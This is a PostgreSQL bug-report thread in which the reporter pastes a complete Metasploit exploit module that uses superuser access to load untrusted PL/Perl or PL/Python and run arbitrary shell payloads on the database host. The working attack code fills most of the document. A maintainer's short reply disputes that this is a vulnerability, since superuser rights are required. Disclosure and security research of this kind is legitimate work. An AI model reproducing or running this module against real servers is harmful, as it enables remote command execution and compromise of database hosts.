BUG #14090: Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.

The following bug has been logged on the website:

Bug reference: 14090
Logged by: Soufiane Boussali
Email address: soufiane(dot)boussali(at)efet(dot)ac(dot)ma
PostgreSQL version: 9.5.2
Operating system: Mac Os
Description:

As POC This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'
require 'msf/core/exploit/postgres'

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
'Description' => %q(
Some installations of Postgres 8 and 9 are configured to allow
loading external scripting languages.
Most commonly this is Perl and Python. When enabled, command
execution is possible on the host.
To execute system commands, loading the "untrusted" version of the
language is necessary.
This requires a superuser. This is usually postgres. The execution
should be platform-agnostic,
and has been tested on OS X, Windows, and Linux.

This module attempts to load Perl or Python to execute system
commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to
drop a file on the filesystem.

Only Postgres 8 and up are supported.
),
'Author' => [
'Micheal Cottingham', # author of this module
'midnitesnake', # the postgres_payload module that this is based
on,
'Nixawk' # Improves the module
],
'License' => MSF_LICENSE,
'References' => [
['URL',
'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
['URL',
'http://www.postgresql.org/docs/current/static/plperl.html'],
['URL',
'http://www.postgresql.org/docs/current/static/plpython.html']
],
'Platform' => %w(linux unix win osx),
'Payload' => {
'PayloadType' => %w(cmd)
},
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 1 2016'))

deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end

def postgres_major_version(version)
version_match =
version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
version_match['major_version']
end

def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def vuln_version?
version = postgres_fingerprint
if version[:auth]
major_version = postgres_major_version(version[:auth])
return true if major_version && major_version.to_i >= 8
end
false
end

def login_success?
status = do_login(username, password, database)
case status
when :noauth
print_error "#{peer} - Authentication failed"
return false
when :noconn
print_error "#{peer} - Connection failed"
return false
else
print_status "#{peer} - #{status}"
return true
end
end

def load_extension?(language)
case load_procedural_language(language, 'LANGUAGE')
when :exists
print_good "#{peer} - #{language} is already loaded, continuing"
return true
when :loaded
print_good "#{peer} - #{language} was successfully loaded,
continuing"
return true
when :not_exists
print_status "#{peer} - #{language} could not be loaded"
return false
else
print_error "#{peer} - error occurred loading #{language}"
return false
end
end

def exec_function?(func_name)
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'",
"''")}')"
select_query = postgres_query(query)

case select_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} - Exploit failed"
return false
when :complete
print_good "#{peer} - Exploit successful"
return true
else
print_error "#{peer} - Unknown"
return false
end
end

def create_function?(language, func_name)
load_func = ''

case language
when 'perl'
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS
void as $$"
query << "`$_[0]`;"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
when /^python(?:2|3)?/i
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS
void as $$\r"
query << "import subprocess,
shlex\rsubprocess.check_output(shlex.split(c))\r"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
end

case load_func.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_error "#{peer} Exploit failed"
return false
when :complete
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
return true
else
print_error "#{peer} - Unknown"
return false
end
end

def load_procedural_language(language, extension)
query = "CREATE #{extension} pl#{language}u"
load_language = postgres_query(query)
return :loaded unless load_language.keys[0] == :sql_error

match_exists = load_language[:sql_error].match(/(?:(extension|language)
"pl#{language}u" already exists)/m)
return :exists if match_exists

match_error = load_language[:sql_error].match(/(?:could not (?:open
extension control|access) file|unsupported language)/m)
return :not_exists if match_error
end

def do_login(user, pass, database)
begin
password = pass || postgres_password
result = postgres_fingerprint(
db: database,
username: user,
password: password
)

return result[:auth] if result[:auth]
print_status "#{peer} - Login failed"
return :noauth

rescue Rex::ConnectionError
return :noconn
end
end

def exploit
return unless vuln_version?
return unless login_success?

languages = %w(perl python python2 python3)
languages.each do |language|
next unless load_extension?(language)
func_name = Rex::Text.rand_text_alpha(10)
next unless create_function?(language, func_name)
if exec_function?(func_name)
print_warning "Please clear extension [#{language}]: function
[#{func_name}] manually"
break
end
end
postgres_logout if @postgres_conn
end
end

On Sat, Apr 16, 2016 at 4:38 AM, <soufiane(dot)boussali(at)efet(dot)ac(dot)ma> wrote:

> The following bug has been logged on the website:
>
> Bug reference: 14090
> Logged by: Soufiane Boussali
> Email address: soufiane(dot)boussali(at)efet(dot)ac(dot)ma
> PostgreSQL version: 9.5.2
> Operating system: Mac Os
> Description:
> ​[...]​
>
> Some installations of Postgres 8 and 9 are configured to allow
> loading external scripting languages.
> Most commonly this is Perl and Python. When enabled, command
> execution is possible on the host.
> To execute system commands, loading the "untrusted" version of the
> language is necessary.
> This requires a superuser. This is usually postgres. The execution
> should be platform-agnostic,
> and has been tested on OS X, Windows, and Linux.
>
> This module attempts to load Perl or Python to execute system
> commands. As this dynamically loads
> a scripting language to execute commands, it is not necessary to
> drop a file on the filesystem.
>

​That's why they are "untrusted"...and if being superuser is a requirement
then it isn't really an exploit now, is it?

For reference PostgreSQL version numbering requires two digits separate by
a period. Version 8 and version 9 are incomplete identifiers as they lack
the second digit. All versions beginning with 8 are also no longer
supported.

I could not follow the code so my only real guide for complaint/intent is
the description which I've quoted.

David J.
​